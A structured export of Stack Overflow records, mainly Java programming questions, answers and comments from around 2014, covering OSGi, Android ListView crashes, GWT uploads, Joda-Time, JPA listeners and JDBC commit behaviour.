tvStatus.setText("Press a button to start a scan."); tvResult.setText("Scan cancelled."); } } } }
tagged with: barcode
tagged with: java
tagged with: zxing
type: Question
accepted answer: http://stackoverflow.com/a/22307613

http://stackoverflow.com/a/22297418
downvote count: 0
type: Answer
upvote count: 1
has body: I suppose it depends on how good the bundles are. There is a good example in "OSGi in Action" book, on page 73. To try it yourself: Download the examples, Unpack the file and build the "chapter03" examples with Ant (osgi-in-action/chapter03/build.xml), Copy chapter03/paint-example/bundles/*-3.0.jar files into e.g. chapter03/shell-example/1, In order to make the examples work (see issue) you need to do this: Download latest Apache Felix Framework distribution from this page, at the moment it's 4.2.1, Extract the org.apache.felix.main.distribution-4.2.1.zip file, Extract the felix-framework-4.2.1/bin/felix.jar file, Copy the default.properties file into the OSGi example's chapter03/shell-example/launcher.jar. Now that you have everything ready: // In console window #1: $ cd chapter03/shell-example/ $ java -jar launcher.jar bundles // In console window #2: $ telnet localhost 7070 -&gt; install file:1/paint-3.0.jar -&gt; install file:1/shape-3.0.jar -&gt; start 2 -&gt; install file:1/circle-3.0.jar -&gt; install file:1/square-3.0.jar -&gt; start 4 -&gt; start 5 -&gt; install file:1/triangle-3.0.jar -&gt; start 6 // You can now draw all three shapes. // Simulate upgrade/patch of "circle" bundle: -&gt; stop 4 // A "work in progress" sign is in place of the circles. // You can still move them. // Start the "circle" bundle again and they're back in the UI: -&gt; start 4 You can check the example source code to see how they did it. I hope this answers your question.
answers question: http://stackoverflow.com/q/22294965
score: 1

http://stackoverflow.com/q/22218106
has title: Android Stackoverflow Error on Listview only on selected device
has comment: http://stackoverflow.com/comment/33907043
has answer: http://stackoverflow.com/a/22421941
tagged with: java
has answer: http://stackoverflow.com/a/22406682
type: Question
has comment: http://stackoverflow.com/comment/70640198
has comment: http://stackoverflow.com/comment/34057372
tagged with: stack-overflow
tagged with: listview
answer count: 3
has comment: http://stackoverflow.com/comment/33734358
has comment: http://stackoverflow.com/comment/34011849
downvote count: 0
favorite count: 0
has body: While Developing Native App for Android i gone through crash on a purticular HTC DESIRE S which is happening frequently purticularly on listview pages . What the crash is on : Listview View overflow Span overflow issue Views Overflow issue Other (Please explain ) Logcat: java.lang.StackOverflowError at android.text.SpannableStringBuilder.checkRange(SpannableStringBuilder.java:940) at android.text.SpannableStringBuilder.drawText(SpannableStringBuilder.java:1042) at android.graphics.Canvas.drawText(Canvas.java:1323) at android.text.Styled.drawUniformRun(Styled.java:141) at android.text.Styled.drawDirectionalRun(Styled.java:298) at android.text.Styled.drawText(Styled.java:357) at android.text.Layout.drawText(Layout.java:1797) at android.text.Layout.draw(Layout.java:679) at android.widget.TextView.onDraw(TextView.java:4338) at android.view.View.draw(View.java:7014) at android.view.ViewGroup.drawChild(ViewGroup.java:1732) at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1459) at android.view.View.draw(View.java:7017) at android.view.ViewGroup.drawChild(ViewGroup.java:1732) at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1459) at android.view.View.draw(View.java:7017) at android.view.View.buildDrawingCache(View.java:6739) at android.view.View.getDrawingCache(View.java:6512) at android.view.ViewGroup.drawChild(ViewGroup.java:1657) at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1459) at android.widget.AbsListView.dispatchDraw(AbsListView.java:1499) at android.widget.ListView.dispatchDraw(ListView.java:3194) at android.view.View.draw(View.java:7017) at android.widget.AbsListView.draw(AbsListView.java:2607) at android.view.ViewGroup.drawChild(ViewGroup.java:1732) at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1459) at android.view.View.draw(View.java:7017) at android.view.ViewGroup.drawChild(ViewGroup.java:1732) at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1459) at android.view.View.draw(View.java:7017) at android.widget.FrameLayout.draw(Fram…
tagged with: view
has comment: http://stackoverflow.com/comment/33914006
has answer: http://stackoverflow.com/a/22429017
type: UnansweredQuestion
tagged with: android
score: 6
upvote count: 6

layout-manager
tags question: http://stackoverflow.com/q/22216924
tags question: http://stackoverflow.com/q/22213780
type: Tag
tags question: http://stackoverflow.com/q/22240066
tags question: http://stackoverflow.com/q/22265086
tags question: http://stackoverflow.com/q/22238562
tags question: http://stackoverflow.com/q/22219544
tags question: http://stackoverflow.com/q/22286766
tags question: http://stackoverflow.com/q/22250362
tag name: layout-manager

http://stackoverflow.com/q/22320678
has answer: http://stackoverflow.com/a/22333414
type: UnansweredQuestion
tagged with: gwt
tagged with: java
has body: GWT 2.5.1/ App Engine SDK 1.8.9 I am trying to upload a .CVS file to a servlet to be parsed using a FormPanel however I am getting no response from the servlet. Client code // Create a FormPanel and point it at a service final FormPanel form = new FormPanel(); form.setAction(GWT.getModuleBaseURL() + "uploadServlet"); System.out.println(GWT.getModuleBaseURL() + "uploadServlet"); //gives me http:// . . . /healthybc/uploadServlet // set form to use the POST method, and multipart MIME encoding form.setEncoding(FormPanel.ENCODING_MULTIPART); form.setMethod(FormPanel.METHOD_POST); form.setWidget(buttonPanel); final FileUpload fileUpload = new FileUpload(); fileUpload.setName("Browse"); buttonPanel.add(fileUpload); // Add a 'submit' button. Button submit = new Button("Submit"); submit.addClickHandler(new ClickHandler() { @Override public void onClick(ClickEvent event) { form.submit(); } }); buttonPanel.add(submit); // Add an event handler to the form. form.addSubmitHandler(new FormPanel.SubmitHandler() { public void onSubmit(SubmitEvent event) { // This event is fired just before the form is submitted. We can take // this opportunity to perform validation. if (fileUpload.getFilename().length() == 0) { Window.alert("The text box must not be empty"); event.cancel(); } else if (!fileUpload.getFilename().endsWith(".csv")){ Window.alert("Can only upload .csv files"); event.cancel(); } } }); form.addSubmitCompleteHandler(new FormPanel.SubmitCompleteHandler() { @Override public void onSubmitComplete(SubmitCompleteEvent event) { // When the form submission is successfully completed, this event is // fired. Assuming the service returned a response of type text/html, // we can get the result text here (see the FormPanel documentation for // further explanation). Window.alert(event.getResults()); } }); I get windows appearing from onSubmit() but no response from onSubmitComplete. web.xml revelant web.xml code uploadedCSVParser ca.ubc.cs310.gwt.healthybc.server.UploadedCSVParser uploa…
has title: Java servlet not firing onSubmitComplete (Google app engine)
tagged with: servlets
type: Question
answer count: 1
score: 0
tagged with: google-app-engine

http://stackoverflow.com/a/22217664
accepted answer of: http://stackoverflow.com/q/22212906
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33752319
answers question: http://stackoverflow.com/q/22212906
has body: This is a temporary regression with Android 4.3, which is now being fixed.
upvote count: 1
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/24348760
has body: If those data input Strings represent durations in hours:minutes:seconds without any date or time-of-day, then the other answers are working much too hard. Generally, the old java.util.Date and .Calendar classes are notoriously troublesome and should be avoided. Specifically here, those classes have no notion of a span of time. Instead you should be using either Joda-Time or maybe java.time. Joda-Time Joda-Time offers three classes to represent a span of time: Interval, Period, and Duration. The first is tied to points along the timeline of the Universe. The other two are not. The Period and Duration classes are very close cousins. Period is a tuple with a number of years, months, days, hours, minutes, and seconds. Duration is a number of milliseconds with no concept of fields such as days or seconds. Joda-Time uses the ISO 8601 standard for its defaults in parsing and generating strings. For period/duration time, this means the PnYnMnDTnHnMnS format. The P means "period" and the T is a separator between date and time portions. Here is some example code in Joda-Time 2.3. Basically a couple of lines: parsePeriod &amp; durationSum.plus seen below. Simulate input strings. List&lt;String&gt; durationStrings = new ArrayList&lt;String&gt;(); durationStrings.add( "11:00:00" ); // Number of hours/minutes/seconds. Not time-of-day. durationStrings.add( "12:00:00" ); durationStrings.add( "13:00:00" ); // Expect sum of 36 hours = 11 + 12 + 13. Define a formatter to parse those strings. Joda-Time might have such a formatter built-in, but I could not locate it. So I defined one. PeriodFormatter formatter = new PeriodFormatterBuilder() .appendHours() .appendSeparator( ":" ) .appendMinutes() .appendSeparator( ":" ) .appendSeconds() .toFormatter(); Loop the input strings, parsing each one, then adding its duration to the sum. Duration durationSum = Duration.ZERO; // Initializing to empty amount. Add to this in loop below. for ( String durationString : durationStrings ) { Period peri…
answers question: http://stackoverflow.com/q/22230487
score: 1
upvote count: 1
type: Answer
downvote count: 0

http://stackoverflow.com/comment/71252753
score: 2
has text: I have found that this solution works in the case where there is SpringFox Swagger Docket defined in the application . The solution above using the DelegatingWebMvcConfiguration causes the swagger doc display to fail .
comment on: http://stackoverflow.com/a/28594582
type: AnswerComment
type: Comment

eclipse-rcp
tags question: http://stackoverflow.com/q/22317145
type: Tag
tags question: http://stackoverflow.com/q/22194003
tags question: http://stackoverflow.com/q/22196628
tags question: http://stackoverflow.com/q/22222451
tags question: http://stackoverflow.com/q/22251064
tag name: eclipse-rcp

http://stackoverflow.com/comment/33763248
comment on: http://stackoverflow.com/a/22234194
score: 0
type: Comment
has text: yes that helped. but how do I know which object is logging. In the example above, I have three objects that logs. but how do I get that information?
type: AnswerComment

http://stackoverflow.com/a/22292520
type: Answer
answers question: http://stackoverflow.com/q/22291298
has body: You can use FluentWait and Java varargs // This method will accept any number of titles public void waitUntilTextChanges(WebDriver driver, String... titles) { new FluentWait&lt;WebDriver&gt;(driver) .withTimeout(60, TimeUnit.SECONDS) .pollingEvery(10, TimeUnit.MILLISECONDS) .until(new Predicate&lt;WebDriver&gt;() { public boolean apply(WebDriver d) { boolean titleMatched = false; // Get current window title String windowTitle = driver.getTitle(); for(String title : titles){ // Iterate through all input titles and compare with window title titleMatched = windowTitle.equalsIgnoreCase(title); // If match found, exit if(titleMatched){ break; } } return titleMatched; } }); }
accepted answer of: http://stackoverflow.com/q/22291298
downvote count: 0
score: 1
type: AcceptedAnswer
upvote count: 1

http://stackoverflow.com/q/22204195
type: Question
upvote count: 1
answer count: 1
tagged with: nested
tagged with: variables
favorite count: 0
has title: Java Statements execute except for changing of variable
type: UnansweredQuestion
downvote count: 0
score: 1
tagged with: java
has body: So the premise here is that a String array of five "cards" is checked to see what sort of hand is given. The type of hand is an int where the higher number is a better hand. This particular segement of code was not written by me, but by a friend who is having trouble and I can't quite find the problem int checkHand(String[][] Hand) { boolean check = true; for(int i = 0; i &lt; 4; i++) { if(!Hand[i][1].equals(Hand[i+1][1])) check = false; } //check pair starts for(int i = 0; i &lt; 5; i++) { for(int n = i + 1; n &lt; 5; n++) { if(Hand[i][0].equals(Hand[n][0])) { BestCard = 1;//###OUTPUTS 1 FOR A PAIR### temp = Hand[0]; Hand[0] = Hand[i]; Hand[i] = temp; temp = Hand[1]; Hand[1] = Hand[n]; Hand[n] = temp; //check three of a kind starts for(int p = n + 1; p &lt; 5; p++) { if(Hand[i][0].equals(Hand[p][0])) { temp = Hand[2]; Hand[2] = Hand[p]; Hand[p] = temp; BestCard = 3; //Problem starts here- Output 3 for Three of a Kind if(Hand[3][0].equals(Hand[4][0])) BestCard = 6;//###OUTPUTS A 6 FOR A FULL HOUSE### else if(Hand[2][0].equals(Hand[3][0])) { BestCard = 7; } else if(Hand[2][0].equals(Hand[4][0])) { temp = Hand[3]; Hand[3] = Hand[4]; Hand[4] = temp; BestCard = 7;//###OUTPUTS A 7 FOR A FOUR OF A KIND### } } } } } } if(check &amp;&amp; BestCard&lt;4) BestCard = 5;//###OUTPUTS 5 FOR A FLUSH### else if(check &amp;&amp; BestCard == 4) BestCard = 8;//###OUTPUTS 8 FOR A STRAIGHT FLUSH### return BestCard; } When this runs (and there's more to it, but this is what I believe to be the problem area,) It can determine whether or not said hand is a pair or flush. Aside from that, it does not return the proper number. The strange thing is that everything else in the statement will run- if there is a three of a kind forced but not ordered, the hand will be reordered to be proper. The same occurs with a four of a kind. Comments are given where the value of BestCard is changed. int BestCard and String[] temp are already initialized.
has answer: http://stackoverflow.com/a/22206646

http://stackoverflow.com/comment/33680333
comment on: http://stackoverflow.com/q/22188096
has text: I have a `jdk1.7.0_03` folder in `Program Files (x86)\Java` , and Eclipse seems to work fine.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22220395
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33737850
type: Question
answer count: 2
has body: I came from C#. .NET offers a reporting tool (Crystal Report) to print reports. I'm using a JTable populated by a source. How do I print the records from the JTable without using jTable.print()? How can I control the layouting? Is the only way to print reports in Java is to use java.awt.print and javax.print?
downvote count: 0
favorite count: 0
tagged with: printing
has answer: http://stackoverflow.com/a/22220550
has comment: http://stackoverflow.com/comment/33807790
has title: How to print a report in Java?
has answer: http://stackoverflow.com/a/22221100
has comment: http://stackoverflow.com/comment/33742703
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/33737840

http://stackoverflow.com/q/22279722
favorite count: 0
tagged with: offline-browsing
answer count: 2
upvote count: 1
has title: Cache Google AppEngine documentation locally for offline use
tagged with: java
possible better answer: http://stackoverflow.com/a/26158311
has answer: http://stackoverflow.com/a/26158311
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/22279723
has body: The biggest problem when developing offline is the unavailability of documentation. Google AppEngine used to provide a downloadable tar ball of its documentation, but doesn't seem to do so any more. So how do I get a local version of the AppEngine documentation, along with the ability to update it when required?
type: Question
accepted answer: http://stackoverflow.com/a/22279723
tagged with: google-app-engine
score: 1
tagged with: offline-caching

http://stackoverflow.com/a/22281071
has comment: http://stackoverflow.com/comment/33848197
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22281038
has body: use substring method of String class. like `String tempManufacturerID = str.substring(0,7);` //First 7 digits from index pos - 0 to pos - 6

http://stackoverflow.com/a/22238438
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22238402
answers question: http://stackoverflow.com/q/22238402
has body: You could do str = str.replace("#", "# ");
score: 5
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33771415
has comment: http://stackoverflow.com/comment/33771314
type: Answer
upvote count: 5

http://stackoverflow.com/a/22236163
upvote count: 5
has comment: http://stackoverflow.com/comment/33767294
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33766923
has comment: http://stackoverflow.com/comment/33767062
score: 5
type: Answer
accepted answer of: http://stackoverflow.com/q/22236125
answers question: http://stackoverflow.com/q/22236125
has comment: http://stackoverflow.com/comment/33767159
has body: Java always tries to go for the most specific match when deciding which method to invoke. See JLS Section 15.12.2, in particular the part If no method applicable by subtyping is found, the search for applicable methods continues with phase 2 (§15.12.2.3). Otherwise, the most specific method (§15.12.2.5) is chosen among the methods that are applicable by subtyping. In your first example with argument null, Dodge is the most specific argument match since it inherits from Car, so no problems there. In your last example however, there is no clear winner since none of the candidates Double and BigInteger inherit from the other one. Hence, you get the ambiguity error.

http://stackoverflow.com/comment/33673954
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22184489
has text: What do you mean, "by-index"? Are you talking about Lists...?
type: Comment

http://stackoverflow.com/comment/33654842
type: QuestionComment
has text: on what java version you are compiling that code?
score: 0
comment on: http://stackoverflow.com/q/22174022
type: Comment

hudson
type: Tag
tag name: hudson
tags question: http://stackoverflow.com/q/22206652
tags question: http://stackoverflow.com/q/22191648

http://stackoverflow.com/q/22171221
tagged with: spring-data-jpa
upvote count: 8
type: Question
answer count: 5
has title: How to inject EntityManager in EntityListeners
has answer: http://stackoverflow.com/a/75324977
accepted answer: http://stackoverflow.com/a/22191850
tagged with: spring
tagged with: spring-mvc
has answer: http://stackoverflow.com/a/63322274
tagged with: java
tagged with: hibernate
has body: I need to inject EntityManager in EntityListener class so that I can perform CRUD operation on it. POJO: @Entity @EntityListner(AuditLogging.class) class User { //Getter / setter of properties } AuditLogging (Listner class) public class AuditInterceptor { @PersistenceContext EntityManager entityManager; public void setEntityManager(EntityManager entityManager) { this.entityManager = entityManager; } @PrePersist public void prePersist(Object obj) { // Here I want to use ENTITY manager object so that I can perform CRUD operation // with prePersist coming object. entityManager.unwrap(Session.class).save(obj); // But I am getting NULL POINTER EXCEPTION for entity manager object } } JDBC-CONFIg.xml &lt;bean id="entityManagerFactory" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean"&gt; &lt;property name="dataSource" ref="dataSource" /&gt; &lt;property name="jpaVendorAdapter" ref="hibernateJpaVendorAdapter" /&gt; &lt;property name="packagesToScan" value="com.XXXXX.entity" /&gt; &lt;property name="jpaProperties"&gt; &lt;/bean&gt; &lt;!-- Datasource --&gt; &lt;bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource" destroy-method="close"&gt; &lt;property name="driverClass" value="${jdbc.driver.classname}" /&gt; &lt;property name="jdbcUrl" value="${jdbc.url}" /&gt; &lt;/bean&gt; &lt;!-- transaction Manager --&gt; &lt;bean id="transactionManager" class="org.springframework.orm.jpa.JpaTransactionManager"&gt; &lt;property name="entityManagerFactory" ref="entityManagerFactory" /&gt; &lt;/bean&gt; EntityListener is not managed by any of the container.EntityListeners are instanciated by JPA, so Spring does not have an opportunity to inject EntityManager. My question is, how we can inject inject EntityManager in EntityListener class so that I can perform CRUD operation on it ???
linked to: http://stackoverflow.com/q/63321914
has answer: http://stackoverflow.com/a/22191850
has answer: http://stackoverflow.com/a/22184182
score: 8
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/42222592
downvote count: 0
has answer: http://stackoverflow.com/a/42222592
favorite count: 0
linked to: http://stackoverflow.com/q/12155632

http://stackoverflow.com/a/22253233
upvote count: 0
has body: Not really, no. There is not a better way of expressing this. "With this I don't have check for null anywhere" - well, it's too bad that checking nulls is a requirement. I'm not sure why you have to check if null is equal to itself or if null is equal to the names of a Person, or why people have null instead of names. That all seems like nonsense to me but you probably have a good reason. You can't avoid repeating the accessors for firstName and lastName with less code than you've already written. If you put the method on the Person class itself you should at least be able to avoid the "get" and "()" by using the private fields directly. Here is some code that is no better than the code in your question: public static boolean areBothNullOrBothNonNullAndNamesEqual(Person a, Person b) { if (a == null || b == null) { return a == b; } return Objects.equals(a.firstName, b.firstName) &amp;&amp; Objects.equals(a.lastName, b.lastName); }
score: -1
downvote count: 1
answers question: http://stackoverflow.com/q/22251942
type: Answer

http://stackoverflow.com/comment/33659398
type: QuestionComment
comment on: http://stackoverflow.com/q/22176580
score: 0
has text: The `list` is not `null`. The `getTail()` returns null. :)
type: Comment

http://stackoverflow.com/comment/33796637
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22246979
has text: This seemed to sort it - Thanks

http://stackoverflow.com/a/22313508
has comment: http://stackoverflow.com/comment/33906889
upvote count: 1
answers question: http://stackoverflow.com/q/22313414
accepted answer of: http://stackoverflow.com/q/22313414
score: 1
has comment: http://stackoverflow.com/comment/33936484
type: AcceptedAnswer
downvote count: 0
has body: This is not a very good code (a better option would be to extend DataGrid class), but if you don't want to change much, simply replace &lt;T&gt; with &lt;String[]&gt;.
has comment: http://stackoverflow.com/comment/33935601
type: Answer

http://stackoverflow.com/comment/33940098
type: Comment
has text: Thanks Dipali, how about passing information back to my swing app? For example, some buttons or links within the html content triggers a behavior in my swing app (passing data back as well)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22320464

http://stackoverflow.com/q/22247353
tagged with: android
has title: can't start the adt-bunlde on ubuntu to run a program
has answer: http://stackoverflow.com/a/22247639
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22247882
has answer: http://stackoverflow.com/a/22247651
tagged with: ubuntu
tagged with: eclipse
score: 0
answer count: 3
has body: i have recently changed back to Ubuntu from windows and i am trying to start android programming on it again. i have installed oracle Jdk and downloaded the bundle but when I open it it gives me the error: [2014-03-07 13:45:03 - adb] Unexpected exception 'Cannot run program "/home/abdollah/Documents/adt-bundle-linux-x86_64-20131030/sdk/platform-tools/adb": error=2, No such file or directory' while attempting to get adb version from '/home/abdollah/Documents/adt-bundle-linux-x86_64-20131030/sdk/platform-tools/adb' could it be because i had CDT before separately with a different version of eclipse before? with the same work-space? would appreciate any help!
tagged with: linux
type: UnansweredQuestion

variables
tag name: variables
tags question: http://stackoverflow.com/q/22230210
tags question: http://stackoverflow.com/q/22328131
tags question: http://stackoverflow.com/q/22289028
tags question: http://stackoverflow.com/q/22303777
tags question: http://stackoverflow.com/q/22267672
type: Tag
tags question: http://stackoverflow.com/q/22309216
tags question: http://stackoverflow.com/q/22210232
tags question: http://stackoverflow.com/q/22236621
tags question: http://stackoverflow.com/q/22181272
tags question: http://stackoverflow.com/q/22215014
tags question: http://stackoverflow.com/q/22204195
tags question: http://stackoverflow.com/q/22212442
tags question: http://stackoverflow.com/q/22257235

http://stackoverflow.com/q/22249254
type: AnsweredQuestion
score: 1
has title: Commons getting uploaded file content to a string value
type: Question
tagged with: apache-commons
has comment: http://stackoverflow.com/comment/33789975
tagged with: java
has comment: http://stackoverflow.com/comment/33790024
upvote count: 1
downvote count: 0
answer count: 1
has body: Through apache commons I am uploading a file, I want to read all its content to a String and pass them to my JSP page through a RequestDispatcher. How do I read the contents of the uploading file in String format?
favorite count: 0
has answer: http://stackoverflow.com/a/22249342
accepted answer: http://stackoverflow.com/a/22249342

http://stackoverflow.com/q/22315330
type: Question
downvote count: 0
answer count: 1
score: 1
favorite count: 0
type: UnansweredQuestion
tagged with: android
upvote count: 1
has body: I am making a blackjack card game for android. I am having trouble assigning values to images. I have 52 card images that I want to assign a suit/value. I am not sure what the best way to go about this would be.
has title: How to assign images a value in java
has answer: http://stackoverflow.com/a/22315454
tagged with: java

http://stackoverflow.com/q/22324612
has comment: http://stackoverflow.com/comment/33926739
score: 0
has answer: http://stackoverflow.com/a/22328991
has answer: http://stackoverflow.com/a/22324823
has answer: http://stackoverflow.com/a/22325035
has comment: http://stackoverflow.com/comment/33926248
has comment: http://stackoverflow.com/comment/33925452
has body: I apologize if this didn't format correctly, I tried to do it right. I need advice on what is wrong, out of order, incorrectly written... Can't get past the compiler yet, every "fix" seems to generate more errors. I was trying to write a while loop in the main that runs as long as the user indicates they want to play In the while loop I called 3 methods: generate random number to pull the corresponding Case # out of the switch statement to get the 3 items using a for loop to calculate winnings based on the match and the bet then display find out if the player wanted to keep playing to keep the while loop going or to shut it sown, I will be glad of any advice, The problem is pasted at the top of the code so that what I'm working on will be more clear. Thank you! This is the problem: ~Slot Machine: A slot machine is a gambling device into which the user inserts money and then pulls a lever or presses a button. The slot machine then displays a set of random images. If two or more of the images match, the user wins an amount of money, which the slot machine dispenses back to the user. Design a program that simulates a slot machine. When the program runs, it should do the following: * Ask the user to enter the amount of money she wants to insert into the slot machine. * Instead of displaying images, the program will randomly select a word from the following list: Cherries, Oranges, Plums, Bells, Melons, Bars. The program will select and display a word from this list three times (like the three columns in a real slot machine). * If none of the randomly selected words match, the program will inform the user that she has won $0. * If two of the words match, the program will inform the user that she has won twice the amount wagered in the first step. * If all three of the words match, the program will inform the user that she has won three times the amount entered. * The program will ask whether the user wants to play again. If so, these steps are repeated. If not, the progr…
answer count: 5
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22324718
tagged with: java
has answer: http://stackoverflow.com/a/22325712
has comment: http://stackoverflow.com/comment/33926816
has title: Java Slot Machine Program - Now what to correct?
type: Question
tagged with: jgrasp
has comment: http://stackoverflow.com/comment/33925435
has comment: http://stackoverflow.com/comment/33925606
has comment: http://stackoverflow.com/comment/33929772

http://stackoverflow.com/comment/33918392
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22318384
type: AnswerComment
has text: then just give some dummy values for username and password, i did not get what u want to achieve.

http://stackoverflow.com/comment/33922052
has text: Don't use a `Vector`, use a `List`. This is 2014, not 1994...
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22322439
score: 1

http://stackoverflow.com/comment/33867105
comment on: http://stackoverflow.com/a/22291406
score: 0
type: AnswerComment
type: Comment
has text: i just used `s.setLayoutParams(new Spinner.LayoutParams(-2,-1));`

http://stackoverflow.com/q/22263843
has comment: http://stackoverflow.com/comment/33817962
has comment: http://stackoverflow.com/comment/33818145
has title: Trying to implement text-based Hangman game in Java
has comment: http://stackoverflow.com/comment/33817699
downvote count: 0
has comment: http://stackoverflow.com/comment/33842542
has answer: http://stackoverflow.com/a/22275609
favorite count: 0
has comment: http://stackoverflow.com/comment/33817865
has comment: http://stackoverflow.com/comment/33817719
has comment: http://stackoverflow.com/comment/33817689
has comment: http://stackoverflow.com/comment/33817890
has body: I need to check if the user-input letter, along with the spaces they guess, is at a specific spot on the hidden word. the variable one is equal to the space index the user guessed.. and letterGuess is the letter they guessed. How is my code wrong?? example: secret word is hello hidden word is == ----- user guesses h 0 1 2 3 so, it needs to check if the spaces at indexes 0 1 2 3 at the word hello contain the user guessed "h" if so, need to replace ----- to h---- . String firstSpace = guessedSpaces.substring(0,1); String secondSpace = guessedSpaces.substring(2,3); String thirdSpace = guessedSpaces.substring(4,5); String fourthSpace = guessedSpaces.substring(6,7); int one = Integer.parseInt(firstSpace); int two = Integer.parseInt(secondSpace); int three = Integer.parseInt(thirdSpace); int four = Integer.parseInt(fourthSpace); (secretWord.charAt(one)==letterGuess) (secretWord.charAt(one)==letterGuess) (secretWord.charAt(one)==letterGuess) (secretWord.charAt(one)==letterGuess)
has answer: http://stackoverflow.com/a/22263900
has comment: http://stackoverflow.com/comment/33817705
answer count: 4
has comment: http://stackoverflow.com/comment/33817939
score: 2
upvote count: 2
type: UnansweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22269413
has answer: http://stackoverflow.com/a/22264791
has comment: http://stackoverflow.com/comment/33817785
has comment: http://stackoverflow.com/comment/33818109
type: Question

http://stackoverflow.com/comment/33761853
has text: also can you provide your HTML or create a fiddle with your code? (http://jsfiddle.net/)
comment on: http://stackoverflow.com/q/22233628
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22264291
type: AcceptedAnswer
has body: If you have not already, read the answer provided by Gilles here: Send commands to a GNU screen In short (to make some redundancy) the -X option expects a command. That is: a screen-command, not a shell/system command. You could use the stuff-command. I.e.: screen -X stuff 'java -Xms2048m -Xmx2048m -jar mcpc.jar ' If you omit the command the target screen should respond with an error like: -X: unknown command 'java -Xms2048m -Xmx2048m -jar mcpc.jar' in the running screen window. Notes: At least here, I have to use double new-line at end of command. (Like example above). As an alternative you can add the control character ^M, typically Ctrl+V Enter in Vim, bash etc. That inserts &lt;CR&gt;, byte 0x0d. mcpc.jar must be in local path or provided by full/relative path.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22263500
accepted answer of: http://stackoverflow.com/q/22263500

http://stackoverflow.com/a/22326503
has body: String values are compared using equals(String anotherString). If that method returns false, the string values are simply not equal. Check your strings for uppercase vs. lowercase, leading and trailing spaces and so on.
type: Answer
answers question: http://stackoverflow.com/q/22326460
score: 0

http://stackoverflow.com/a/22258003
upvote count: 1
has body: This line here TextView tv = (TextView) findViewById(R.id.thingsThatNeedToBeUpdated); is obviously declared either Outside of a method -which would result in tv being null or In a method that isn't part of the AsyncTask- which would mean the task doesn't have access to it You should define it as a member variable (outside of a method) TextView tv; then initialize it inside of a method tv = (TextView) findViewById(R.id.thingsThatNeedToBeUpdated); This will give your task access to it as well as the rest of your class. If your AsyncTask is a separate file than your Activity then you will want to see this answer on using an interface and create a callback to update the TextView in your Activity.
has comment: http://stackoverflow.com/comment/34249537
type: AcceptedAnswer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22257910
accepted answer of: http://stackoverflow.com/q/22257910
type: Answer

http://stackoverflow.com/a/57463709
downvote count: 0
has body: I have faced the similar issue and used word-break : break-all; This was fixed.
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22223421

http://stackoverflow.com/comment/33775045
score: 0
type: AnswerComment
has text: It will return `1` when it's in the first row (based on your example) and `2` when in the second and so on.
type: Comment
comment on: http://stackoverflow.com/a/22240557

http://stackoverflow.com/q/22177506
tagged with: jdbc
answer count: 1
has answer: http://stackoverflow.com/a/22178189
linked to: http://stackoverflow.com/q/10825353
tagged with: transactions
tagged with: java
has body: As we know from here, here and here for a start, calling close on a JDBC connection to Oracle results in a commit although this may not be the case for other JDBC drivers. I can do a rollback before closing specifically for Oracle, but I was curious whether anybody knows if I can switch this off when opening the connection in a similar way to switching off the auto commit? Thank you.
linked to: http://stackoverflow.com/q/218350
has comment: http://stackoverflow.com/comment/34108684
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33700192
has comment: http://stackoverflow.com/comment/34167121
linked to: http://stackoverflow.com/q/18233720
score: 2
has comment: http://stackoverflow.com/comment/33662594
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/34166154
has title: Can I switch off Oracle JDBC auto commit when closing a connection?
has comment: http://stackoverflow.com/comment/33701680
type: Question
upvote count: 2
tagged with: oracle-database

http://stackoverflow.com/a/22272965
accepted answer of: http://stackoverflow.com/q/22272946
score: 3
has comment: http://stackoverflow.com/comment/33833374
answers question: http://stackoverflow.com/q/22272946
has comment: http://stackoverflow.com/comment/33833362
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 3
has body: Sure. You can use one enhanced-for to get at the "inner" String[]s, and then another to print each String within that. (I presume you meant to write String[][] = {{...}}.) There's no general way of getting at the leaf elements of a nested structure. But if all you want to do is to print it, you could take a look at Arrays.deepToString, which handles that nested access for you.

http://stackoverflow.com/comment/33649939
comment on: http://stackoverflow.com/a/22171299
type: Comment
has text: I cannot use FileWriter because I am using the Jena model to write to file so I must write an entire file at a time. I think if I increase the heap size to 1GB it will do.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33729265
has text: Hello. That is because a ListNode is not a LinkedIntList. Did you try: ListNode actualEvens = removeEvens(); ?
type: Comment
comment on: http://stackoverflow.com/a/22215224
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33850875
comment on: http://stackoverflow.com/q/22281745
score: 0
type: Comment
type: QuestionComment
has text: (In the above it appears (without seeing the JSON) that "observations.tempm" is not present in the outermost JSON object. Likely you need to "drill in" a bit to get to that value. As I said, study the JSON and it will be clear.)

http://stackoverflow.com/comment/33708964
type: AnswerComment
